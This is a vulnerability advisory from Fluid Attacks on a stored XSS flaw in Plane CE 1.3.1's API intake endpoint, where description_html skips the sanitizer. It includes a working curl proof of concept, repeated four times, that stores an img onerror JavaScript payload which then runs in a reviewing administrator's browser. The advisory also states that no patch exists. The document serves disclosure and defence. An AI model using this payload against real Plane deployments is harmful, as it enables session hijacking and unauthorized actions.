Plane 1.3.1 - Stored XSS in intake issue description_html

6.9

Medium

Discovered by

Oscar Naveda

Offensive Team, Fluid Attacks

Summary

Full name

Plane 1.3.1 - Stored XSS in intake issue description_html

Code name

State

Public

Release date

Affected product

Plane

Vendor

Plane

Affected version(s)

1.3.1

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

Description

Plane CE 1.3.1 allows a low-privileged project member to submit arbitrary HTML/JS in the description_html field when creating an intake work item through the API v1 intake endpoint.

The backend persists this HTML directly in the underlying Issue record without applying the existing server-side HTML sanitizer used by normal issue serializers. In the validated self-hosted Plane UI, the stored content is later loaded into the intake work item view, and attacker-controlled JavaScript executes in the browser session of a user who reviews the intake item.

Vulnerability


Case A (validated): Stored XSS via intake description_html

1.  Source:
      - API request body field issue.description_html.
      - Endpoint: POST /api/v1/workspaces/{workspace_slug}/projects/{project_id}/intake-issues/.

2.  Missing validation:
      - The API v1 intake creation path creates an Issue directly and assigns description_html=issue_data.get("description_html", "<p></p>").
      - This bypasses IssueSerializer.validate(), where validate_html_content() sanitizes HTML with nh3.

3.  Sinks:
      - The malicious HTML is persisted in Issue.description_html.
      - The intake UI loads the persisted value as the initial description for the rich-text intake work item view.

4.  Impact:
      - A low-privileged project member, including a guest project member with an API token, can store active HTML in an intake work item.
      - When a privileged user reviews the intake item, JavaScript can execute in that user's Plane session.
      - This can expose data or actions available to the reviewing user.

Relevant code:

  • plane/apps/api/plane/api/views/intake.py:190

  • plane/apps/api/plane/api/views/intake.py:193

  • plane/apps/api/plane/api/views/intake.py:378

  • plane/apps/api/plane/space/views/intake.py:145

  • plane/apps/api/plane/space/views/intake.py:148

  • plane/apps/api/plane/api/serializers/issue.py:93

  • plane/apps/api/plane/api/serializers/issue.py:94

  • plane/apps/api/plane/utils/content_validator.py:224

  • plane/apps/api/plane/app/permissions/project.py:133

  • plane/apps/web/core/components/inbox/content/issue-root.tsx:178

PoC

Run Plane CE and create a workspace/project with Intake enabled. Create a low-privileged project user, generate an API token for that user, and submit an intake work item.

curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'
curl -i \
  -H 'X-Api-Key: <GUEST_API_TOKEN>' \
  -H 'Content-Type: application/json' \
  -X POST 'http://localhost/api/v1/workspaces/cvelab/projects/93cdec2d-62c6-4ab9-b291-52873e2438b8/intake-issues/' \
  --data '{
    "issue": {
      "name": "Stored XSS evidence",
      "description_html": "<p>Guest low-privilege auto XSS evidence:</p><img src=\"x\" onerror=\"window.__plane_auto_xss=515151;alert(document.domain)\">",
      "description_json": {},
      "priority": "none"
    }
  }'

Expected backend result:

  • The response is 201 Created.

  • The returned issue detail contains the supplied description_html with the event handler still present.

Expected UI result in the validated self-hosted environment:

  • Log in as a workspace/project administrator.

  • Open the project's Intake view and select the submitted work item.

  • The stored payload executes in the administrator's browser context and displays an alert for document.domain.

Evidence of exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-10850 to refer to this issue from now on.

System Information

  • Plane CE

  • Version: 1.3.1

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.